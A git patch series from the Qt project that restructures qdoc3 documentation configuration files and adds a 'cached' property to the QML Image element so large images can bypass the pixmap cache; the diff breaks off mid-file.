    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
      \n" \ + "
    • Home
    • \n" \ + " \n" + +HTML.postpostheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" + +HTML.footer = \ + " \n" \ + "
    \n" \ + " [+] Documentation Feedback
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " © 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.

    \n" \ + "

    \n" \ + " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ + "
    \n" \ + "

    \n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.

    \n" \ + "

    \n" \ + " Alternatively, this document may be used under the terms of the GNU\n" \ + " Free Documentation License version 1.3\n" \ + " as published by the Free Software Foundation.

    \n" \ + "
    \n" \ + "
    \n" \ + "
    X
    \n" \ + "
    \n" \ + "

    \n" \ + "

    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" diff --git a/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf b/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf index 5c4bfa9..7773aa6 100644 --- a/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf +++ b/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf @@ -1,177 +1,176 @@ -HTML.stylesheets = style/style.css \ - style/OfflineStyle.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style_ie6.css +include(qt-html-default-styles.qdocconf) -HTML.postheader = "
    \n" \ - "
    \n" \ - "
    \n" \ - " Home
    \n" \ - " Qt Reference Documentation\n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " Search index:
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " API Lookup

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " Qt Topics

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " Examples

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" -HTML.footer = " \n" \ - "
    \n" \ - " [+] Documentation Feedback
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " © 2008-2010 Nokia Corporation and/or its\n" \ - " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ - " in Finland and/or other countries worldwide.

    \n" \ - "

    \n" \ - " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ - "
    \n" \ - "

    \n" \ - " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ - " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ - " with the terms contained in a written agreement between you and Nokia.

    \n" \ - "

    \n" \ - " Alternatively, this document may be used under the terms of the GNU\n" \ - " Free Documentation License version 1.3\n" \ - " as published by the Free Software Foundation.

    \n" \ - "
    \n" \ - "
    \n" \ - "
    X
    \n" \ - "
    \n" \ - "

    \n" \ - "

    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" +HTML.footer = \ + " \n" \ + "
    \n" \ + " [+] Documentation Feedback
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " © 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.

    \n" \ + "

    \n" \ + " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ + "
    \n" \ + "

    \n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.

    \n" \ + "

    \n" \ + " Alternatively, this document may be used under the terms of the GNU\n" \ + " Free Documentation License version 1.3\n" \ + " as published by the Free Software Foundation.

    \n" \ + "
    \n" \ + "
    \n" \ + "
    X
    \n" \ + "
    \n" \ + "

    \n" \ + "

    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" diff --git a/tools/qdoc3/test/qt-project-api-only.qdocconf b/tools/qdoc3/test/qt-project-api-only.qdocconf new file mode 100644 index 0000000..4a91601 --- /dev/null +++ b/tools/qdoc3/test/qt-project-api-only.qdocconf @@ -0,0 +1,32 @@ +# Ensures that the generated index contains a URL that can be used by the +# tools documentation (assistant.qdocconf, designer.qdocconf, linguist.qdocconf, +# qmake.qdocconf). + +url = ./ + +# Ensures that the documentation for the tools is not included in the generated +# .qhp file. + +qhp.Qt.excluded += $QT_SOURCE_TREE/doc/src/development/assistant-manual.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/simpletextviewer.qdoc \ + $QT_SOURCE_TREE/doc/src/development/designer-manual.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/calculatorbuilder.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/calculatorform.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/customwidgetplugin.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/taskmenuextension.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/containerextension.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/worldtimeclockbuilder.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/worldtimeclockplugin.qdoc \ + $QT_SOURCE_TREE/doc/src/internationalization/linguist-manual.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/hellotr.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/arrowpad.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/trollprint.qdoc \ + $QT_SOURCE_TREE/doc/src/development/qmake-manual.qdoc + +# Remove the QML documentation from the Qt-only documentation. + +excludedirs += $QT_SOURCE_TREE/src/imports + +outputdir = $QT_BUILD_TREE/doc-build/html-qt +tagfile = $QT_BUILD_TREE/doc-build/html-qt/qt.tags +base = file:$QT_BUILD_TREE/doc-build/html-qt diff --git a/tools/qdoc3/test/qt-project.qdocconf b/tools/qdoc3/test/qt-project.qdocconf new file mode 100644 index 0000000..7531b76 --- /dev/null +++ b/tools/qdoc3/test/qt-project.qdocconf @@ -0,0 +1,146 @@ +include(compat.qdocconf) +include(macros.qdocconf) +include(qt-cpp-ignore.qdocconf) +include(qt-defines.qdocconf) + +project = Qt +description = Qt Reference Documentation +url = http://qt.nokia.com/doc/4.7 + +sourceencoding = UTF-8 +outputencoding = UTF-8 +naturallanguage = en_US + +qhp.projects = Qt + +qhp.Qt.file = qt.qhp +qhp.Qt.namespace = com.trolltech.qt.471 +qhp.Qt.virtualFolder = qdoc +qhp.Qt.indexTitle = Qt Reference Documentation +qhp.Qt.indexRoot = + +# Files not referenced in any qdoc file (last four are needed by qtdemo) +# See also extraimages.HTML +qhp.Qt.extraFiles = index.html \ + images/bg_l.png \ + images/bg_l_blank.png \ + images/bg_ll_blank.png \ + images/bg_ul_blank.png \ + images/header_bg.png \ + images/bg_r.png \ + images/box_bg.png \ + images/breadcrumb.png \ + images/bullet_gt.png \ + images/bullet_dn.png \ + images/bullet_sq.png \ + images/bullet_up.png \ + images/arrow_down.png \ + images/feedbackground.png \ + images/horBar.png \ + images/page.png \ + images/page_bg.png \ + images/sprites-combined.png \ + images/spinner.gif \ + images/stylesheet-coffee-plastique.png \ + images/taskmenuextension-example.png \ + images/coloreditorfactoryimage.png \ + images/dynamiclayouts-example.png \ + scripts/functions.js \ + scripts/jquery.js \ + scripts/narrow.js \ + scripts/superfish.js \ + style/narrow.css \ + style/superfish.css \ + style/style_ie6.css \ + style/style_ie7.css \ + style/style_ie8.css \ + style/style.css + + + +qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc +qhp.Qt.customFilters.Qt.name = Qt 4.7.1 +qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 +qhp.Qt.subprojects = classes overviews examples +qhp.Qt.subprojects.classes.title = Classes +qhp.Qt.subprojects.classes.indexTitle = Qt's Classes +qhp.Qt.subprojects.classes.selectors = class fake:headerfile +qhp.Qt.subprojects.classes.sortPages = true +qhp.Qt.subprojects.overviews.title = Overviews +qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs +qhp.Qt.subprojects.overviews.selectors = fake:page,group,module +qhp.Qt.subprojects.examples.title = Tutorials and Examples +qhp.Qt.subprojects.examples.indexTitle = Qt Examples +qhp.Qt.subprojects.examples.selectors = fake:example + +language = Cpp + +headerdirs = $QT_SOURCE_TREE/src \ + $QT_SOURCE_TREE/extensions/activeqt \ + $QT_SOURCE_TREE/tools/assistant/lib \ + $QT_SOURCE_TREE/tools/assistant/compat/lib \ + $QT_SOURCE_TREE/tools/designer/src/uitools \ + $QT_SOURCE_TREE/tools/designer/src/lib/extension \ + $QT_SOURCE_TREE/tools/designer/src/lib/sdk \ + $QT_SOURCE_TREE/tools/designer/src/lib/uilib \ + $QT_SOURCE_TREE/tools/qtestlib/src \ + $QT_SOURCE_TREE/tools/qdbus/src +sourcedirs = $QT_SOURCE_TREE/src \ + $QT_SOURCE_TREE/doc/src \ + $QT_SOURCE_TREE/extensions/activeqt \ + $QT_SOURCE_TREE/tools/assistant/lib \ + $QT_SOURCE_TREE/tools/assistant/compat/lib \ + $QT_SOURCE_TREE/tools/designer/src/uitools \ + $QT_SOURCE_TREE/tools/designer/src/lib/extension \ + $QT_SOURCE_TREE/tools/designer/src/lib/sdk \ + $QT_SOURCE_TREE/tools/designer/src/lib/uilib \ + $QT_SOURCE_TREE/tools/qtestlib/src \ + $QT_SOURCE_TREE/tools/qdbus + +excludedirs = $QT_SOURCE_TREE/src/3rdparty/clucene \ + $QT_SOURCE_TREE/src/3rdparty/des \ + $QT_SOURCE_TREE/src/3rdparty/freetype \ + $QT_SOURCE_TREE/src/3rdparty/harfbuzz \ + $QT_SOURCE_TREE/src/3rdparty/kdebase \ + $QT_SOURCE_TREE/src/3rdparty/libconninet \ + $QT_SOURCE_TREE/src/3rdparty/libjpeg \ + $QT_SOURCE_TREE/src/3rdparty/libmng \ + $QT_SOURCE_TREE/src/3rdparty/libpng \ + $QT_SOURCE_TREE/src/3rdparty/libtiff \ + $QT_SOURCE_TREE/src/3rdparty/md4 \ + $QT_SOURCE_TREE/src/3rdparty/md5 \ + $QT_SOURCE_TREE/src/3rdparty/patches \ + $QT_SOURCE_TREE/src/3rdparty/sha1 \ + $QT_SOURCE_TREE/src/3rdparty/sqlite \ + $QT_SOURCE_TREE/src/3rdparty/webkit/JavaScriptCore \ + $QT_SOURCE_TREE/src/3rdparty/webkit/WebCore \ + $QT_SOURCE_TREE/src/3rdparty/wintab \ + $QT_SOURCE_TREE/src/3rdparty/zlib \ + $QT_SOURCE_TREE/src/3rdparty/phonon/gstreamer \ + $QT_SOURCE_TREE/src/3rdparty/phonon/ds9 \ + $QT_SOURCE_TREE/src/3rdparty/phonon/qt7 \ + $QT_SOURCE_TREE/src/3rdparty/phonon/mmf \ + $QT_SOURCE_TREE/src/3rdparty/phonon/waveout \ + $QT_SOURCE_TREE/doc/src/snippets \ + $QT_SOURCE_TREE/doc/src/ja_JP \ + $QT_SOURCE_TREE/doc/src/zh_CN + +sources.fileextensions = "*.cpp *.qdoc *.mm" +examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml" +examples.imageextensions = "*.png" + +exampledirs = $QT_SOURCE_TREE/doc/src \ + $QT_SOURCE_TREE/examples \ + $QT_SOURCE_TREE/examples/tutorials \ + $QT_SOURCE_TREE \ + $QT_SOURCE_TREE/qmake/examples \ + $QT_SOURCE_TREE/src/3rdparty/webkit/WebKit/qt/docs +imagedirs = $QT_SOURCE_TREE/doc/src/images \ + $QT_SOURCE_TREE/examples \ + $QT_SOURCE_TREE/doc/src/declarative/pics \ + $QT_SOURCE_TREE/doc/src/template/images +outputdir = $QT_BUILD_TREE/doc/html +tagfile = $QT_BUILD_TREE/doc/html/qt.tags +base = file:$QT_BUILD_TREE/doc/html + +HTML.generatemacrefs = "true" diff --git a/tools/qdoc3/test/qt.qdocconf b/tools/qdoc3/test/qt.qdocconf deleted file mode 100644 index ea97205..0000000 --- a/tools/qdoc3/test/qt.qdocconf +++ /dev/null @@ -1,147 +0,0 @@ -include(compat.qdocconf) -include(macros.qdocconf) -include(qt-cpp-ignore.qdocconf) -include(qt-html-templates.qdocconf) -include(qt-defines.qdocconf) - -project = Qt -versionsym = -version = %VERSION% -description = Qt Reference Documentation -url = http://qt.nokia.com/doc/4.7 - -sourceencoding = UTF-8 -outputencoding = UTF-8 -naturallanguage = en_US - -qhp.projects = Qt - -qhp.Qt.file = qt.qhp -qhp.Qt.namespace = com.trolltech.qt.471 -qhp.Qt.virtualFolder = qdoc -qhp.Qt.indexTitle = Qt Reference Documentation -qhp.Qt.indexRoot = - -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - -qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc -qhp.Qt.customFilters.Qt.name = Qt 4.7.1 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 -qhp.Qt.subprojects = classes overviews examples -qhp.Qt.subprojects.classes.title = Classes -qhp.Qt.subprojects.classes.indexTitle = Qt's Classes -qhp.Qt.subprojects.classes.selectors = class fake:headerfile -qhp.Qt.subprojects.classes.sortPages = true -qhp.Qt.subprojects.overviews.title = Overviews -qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs -qhp.Qt.subprojects.overviews.selectors = fake:page,group,module -qhp.Qt.subprojects.examples.title = Tutorials and Examples -qhp.Qt.subprojects.examples.indexTitle = Qt Examples -qhp.Qt.subprojects.examples.selectors = fake:example - -language = Cpp - -headerdirs = $QTDIR/src \ - $QTDIR/extensions/activeqt \ - $QTDIR/tools/assistant/lib \ - $QTDIR/tools/assistant/compat/lib \ - $QTDIR/tools/designer/src/uitools \ - $QTDIR/tools/designer/src/lib/extension \ - $QTDIR/tools/designer/src/lib/sdk \ - $QTDIR/tools/designer/src/lib/uilib \ - $QTDIR/tools/qtestlib/src \ - $QTDIR/tools/qdbus/src -sourcedirs = $QTDIR/src \ - $QTDIR/doc/src \ - $QTDIR/extensions/activeqt \ - $QTDIR/tools/assistant/lib \ - $QTDIR/tools/assistant/compat/lib \ - $QTDIR/tools/designer/src/uitools \ - $QTDIR/tools/designer/src/lib/extension \ - $QTDIR/tools/designer/src/lib/sdk \ - $QTDIR/tools/designer/src/lib/uilib \ - $QTDIR/tools/qtestlib/src \ - $QTDIR/tools/qdbus - -excludedirs = $QTDIR/src/3rdparty/clucene \ - $QTDIR/src/3rdparty/des \ - $QTDIR/src/3rdparty/freetype \ - $QTDIR/src/3rdparty/harfbuzz \ - $QTDIR/src/3rdparty/kdebase \ - $QTDIR/src/3rdparty/libconninet \ - $QTDIR/src/3rdparty/libjpeg \ - $QTDIR/src/3rdparty/libmng \ - $QTDIR/src/3rdparty/libpng \ - $QTDIR/src/3rdparty/libtiff \ - $QTDIR/src/3rdparty/md4 \ - $QTDIR/src/3rdparty/md5 \ - $QTDIR/src/3rdparty/patches \ - $QTDIR/src/3rdparty/sha1 \ - $QTDIR/src/3rdparty/sqlite \ - $QTDIR/src/3rdparty/webkit/JavaScriptCore \ - $QTDIR/src/3rdparty/webkit/WebCore \ - $QTDIR/src/3rdparty/wintab \ - $QTDIR/src/3rdparty/zlib \ - $QTDIR/src/3rdparty/phonon/gstreamer \ - $QTDIR/src/3rdparty/phonon/ds9 \ - $QTDIR/src/3rdparty/phonon/qt7 \ - $QTDIR/src/3rdparty/phonon/mmf \ - $QTDIR/src/3rdparty/phonon/waveout \ - $QTDIR/doc/src/snippets \ - $QTDIR/doc/src/ja_JP \ - $QTDIR/doc/src/zh_CN - -sources.fileextensions = "*.cpp *.qdoc *.mm" -examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml" -examples.imageextensions = "*.png" - -exampledirs = $QTDIR/doc/src \ - $QTDIR/examples \ - $QTDIR/examples/tutorials \ - $QTDIR \ - $QTDIR/qmake/examples \ - $QTDIR/src/3rdparty/webkit/WebKit/qt/docs -imagedirs = $QTDIR/doc/src/images \ - $QTDIR/examples \ - $QTDIR/doc/src/declarative/pics \ - $QTDIR/doc/src/template/images -outputdir = $QTDIR/doc/html -tagfile = $QTDIR/doc/html/qt.tags -base = file:$QTDIR/doc/html - -HTML.generatemacrefs = "true" diff --git a/tools/qdoc3/test/qt_ja_JP.qdocconf b/tools/qdoc3/test/qt_ja_JP.qdocconf deleted file mode 100644 index 32bba06..0000000 --- a/tools/qdoc3/test/qt_ja_JP.qdocconf +++ /dev/null @@ -1,118 +0,0 @@ -include(compat.qdocconf) -include(macros.qdocconf) -include(qt-cpp-ignore.qdocconf) -include(qt-html-templates_ja_JP.qdocconf) -include(qt-defines.qdocconf) - -project = Qt -versionsym = -version = %VERSION% -description = Qt リファレンスドキュメント -url = http://qt.nokia.com/doc/ja_JP/4.7 - -sourceencoding = UTF-8 -outputencoding = UTF-8 -naturallanguage = ja - -indexes = $QTDIR/doc/html/qt.index - -qhp.projects = Qt - -qhp.Qt.file = qt.qhp -qhp.Qt.namespace = com.trolltech.qt.471 -qhp.Qt.virtualFolder = qdoc -qhp.Qt.title = Qt -qhp.Qt.indexTitle = Qt -qhp.Qt.selectors = fake:example - -qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc ja_JP -qhp.Qt.customFilters.Qt.name = Qt 4.7.1 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 - -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - -language = Cpp - -sourcedirs = $QTDIR/doc/src/ja_JP - -excludedirs = $QTDIR/src/3rdparty/clucene \ - $QTDIR/src/3rdparty/des \ - $QTDIR/src/3rdparty/freetype \ - $QTDIR/src/3rdparty/harfbuzz \ - $QTDIR/src/3rdparty/kdebase \ - $QTDIR/src/3rdparty/libjpeg \ - $QTDIR/src/3rdparty/libmng \ - $QTDIR/src/3rdparty/libpng \ - $QTDIR/src/3rdparty/libtiff \ - $QTDIR/src/3rdparty/md4 \ - $QTDIR/src/3rdparty/md5 \ - $QTDIR/src/3rdparty/patches \ - $QTDIR/src/3rdparty/sha1 \ - $QTDIR/src/3rdparty/sqlite \ - $QTDIR/src/3rdparty/webkit/JavaScriptCore \ - $QTDIR/src/3rdparty/webkit/WebCore \ - $QTDIR/src/3rdparty/wintab \ - $QTDIR/src/3rdparty/zlib \ - $QTDIR/doc/src/snippets \ - $QTDIR/doc/src/zh_CN \ - $QTDIR/src/3rdparty/phonon/gstreamer \ - $QTDIR/src/3rdparty/phonon/ds9 \ - $QTDIR/src/3rdparty/phonon/qt7 \ - $QTDIR/src/3rdparty/phonon/mmf \ - $QTDIR/src/3rdparty/phonon/waveout - -sources.fileextensions = "*.cpp *.qdoc *.mm" -examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp" -examples.imageextensions = "*.png" - -exampledirs = $QTDIR/doc/src \ - $QTDIR/examples/ja_JP \ - $QTDIR/examples \ - $QTDIR/examples/tutorials \ - $QTDIR \ - $QTDIR/qmake/examples \ - $QTDIR/src/3rdparty/webkit/WebKit/qt/docs -imagedirs = $QTDIR/doc/src/ja_JP/images \ - $QTDIR/doc/src/images \ - $QTDIR/examples \ - $QTDIR/doc/src/template/images -outputdir = $QTDIR/doc/html_ja_JP -tagfile = $QTDIR/doc/html_ja_JP/qt.tags -base = file:$QTDIR/doc/html_ja_JP - -HTML.generatemacrefs = "true" diff --git a/tools/qdoc3/test/qt_zh_CN.qdocconf b/tools/qdoc3/test/qt_zh_CN.qdocconf deleted file mode 100644 index 40d3d5a..0000000 --- a/tools/qdoc3/test/qt_zh_CN.qdocconf +++ /dev/null @@ -1,116 +0,0 @@ -include(compat.qdocconf) -include(macros.qdocconf) -include(qt-cpp-ignore.qdocconf) -include(qt-html-templates_zh_CN.qdocconf) -include(qt-defines.qdocconf) - -project = Qt -versionsym = -version = %VERSION% -description = Qt Reference Documentation -url = http://qt.nokia.com/doc/zh_CN/4.7 - -sourceencoding = UTF-8 -outputencoding = UTF-8 -naturallanguage = zh-Hans - -indexes = $QTDIR/doc/html/qt.index - -qhp.projects = Qt - -qhp.Qt.file = qt.qhp -qhp.Qt.namespace = com.trolltech.qt.471 -qhp.Qt.virtualFolder = qdoc -qhp.Qt.title = 教程 -qhp.Qt.indexTitle = 教程 -qhp.Qt.selectors = fake:example - -qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc zh_CN -qhp.Qt.customFilters.Qt.name = Qt 4.7.1 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 - -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - -language = Cpp - -sourcedirs = $QTDIR/doc/src/zh_CN - -excludedirs = $QTDIR/src/3rdparty/clucene \ - $QTDIR/src/3rdparty/des \ - $QTDIR/src/3rdparty/freetype \ - $QTDIR/src/3rdparty/harfbuzz \ - $QTDIR/src/3rdparty/kdebase \ - $QTDIR/src/3rdparty/libjpeg \ - $QTDIR/src/3rdparty/libmng \ - $QTDIR/src/3rdparty/libpng \ - $QTDIR/src/3rdparty/libtiff \ - $QTDIR/src/3rdparty/md4 \ - $QTDIR/src/3rdparty/md5 \ - $QTDIR/src/3rdparty/patches \ - $QTDIR/src/3rdparty/sha1 \ - $QTDIR/src/3rdparty/sqlite \ - $QTDIR/src/3rdparty/webkit/JavaScriptCore \ - $QTDIR/src/3rdparty/webkit/WebCore \ - $QTDIR/src/3rdparty/wintab \ - $QTDIR/src/3rdparty/zlib \ - $QTDIR/doc/src/snippets \ - $QTDIR/doc/src/ja_JP \ - $QTDIR/src/3rdparty/phonon/gstreamer \ - $QTDIR/src/3rdparty/phonon/ds9 \ - $QTDIR/src/3rdparty/phonon/qt7 \ - $QTDIR/src/3rdparty/phonon/mmf \ - $QTDIR/src/3rdparty/phonon/waveout - -sources.fileextensions = "*.cpp *.qdoc *.mm" -examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp" -examples.imageextensions = "*.png" - -exampledirs = $QTDIR/doc/src \ - $QTDIR/examples \ - $QTDIR/examples/tutorials \ - $QTDIR \ - $QTDIR/qmake/examples \ - $QTDIR/src/3rdparty/webkit/WebKit/qt/docs -imagedirs = $QTDIR/doc/src/images \ - $QTDIR/examples \ - $QTDIR/doc/src/template/images -outputdir = $QTDIR/doc/html_zh_CN -tagfile = $QTDIR/doc/html_zh_CN/qt.tags -base = file:$QTDIR/doc/html_zh_CN - -HTML.generatemacrefs = "true" -- cgit v0.12 From af60542fc4214cc716ffb1bdc46e2e7f6b5a6b8a Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Fri, 12 Nov 2010 13:02:58 +1000 Subject: Add 'cached' property to Image element Setting cached to false is useful when dealing with large images, to make sure that they aren't cached at the expense of small 'ui element' images. Task-number: QTBUG-7300 Reviewed-by: Aaron Kennedy --- .../photoviewer/PhotoViewerCore/PhotoDelegate.qml | 4 +-- .../graphicsitems/qdeclarativeborderimage.cpp | 14 +++++++++-- .../graphicsitems/qdeclarativeimage.cpp | 9 +++++++ .../graphicsitems/qdeclarativeimagebase.cpp | 25 ++++++++++++++++++- .../graphicsitems/qdeclarativeimagebase_p.h | 5 ++++ .../graphicsitems/qdeclarativeimagebase_p_p.h | 4 ++- src/declarative/util/qdeclarativepixmapcache.cpp | 22 ++++++++-------- src/declarative/util/qdeclarativepixmapcache_p.h | 12 +++++++-- .../qdeclarativeimage/tst_qdeclarativeimage.cpp | 29 +++++++++++++++------- 9 files changed, 97 insertions(+), 27 deletions(-) diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml index 5948b5d..856a2c7 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml @@ -88,11 +88,11 @@ Package { } BusyIndicator { anchors.centerIn: parent; on: originalImage.status != Image.Ready } Image { - id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content) + id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content); cached: false fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height } Image { - id: hqImage; smooth: true; source: ""; visible: false + id: hqImage; smooth: true; source: ""; visible: false; cached: false fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height } Binding { diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index 649c8fb..4e35f87 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -290,7 +290,12 @@ void QDeclarativeBorderImage::load() } } else { - d->pix.load(qmlEngine(this), d->url, d->async); + QDeclarativePixmap::Options options; + if (d->async) + options |= QDeclarativePixmap::Asynchronous; + if (d->cached) + options |= QDeclarativePixmap::Cached; + d->pix.load(qmlEngine(this), d->url, options); if (d->pix.isLoading()) { d->pix.connectFinished(this, SLOT(requestFinished())); @@ -413,7 +418,12 @@ void QDeclarativeBorderImage::setGridScaledImage(const QDeclarativeGridScaledIma d->sciurl = d->url.resolved(QUrl(sci.pixmapUrl())); - d->pix.load(qmlEngine(this), d->sciurl, d->async); + QDeclarativePixmap::Options options; + if (d->async) + options |= QDeclarativePixmap::Asynchronous; + if (d->cached) + options |= QDeclarativePixmap::Cached; + d->pix.load(qmlEngine(this), d->sciurl, options); if (d->pix.isLoading()) { static int thisRequestProgress = -1; diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp index 3b08a9b..c9eb258 100644 --- a/src/declarative/graphicsitems/qdeclarativeimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp @@ -458,6 +458,15 @@ QRectF QDeclarativeImage::boundingRect() const are always loaded asynchonously. */ 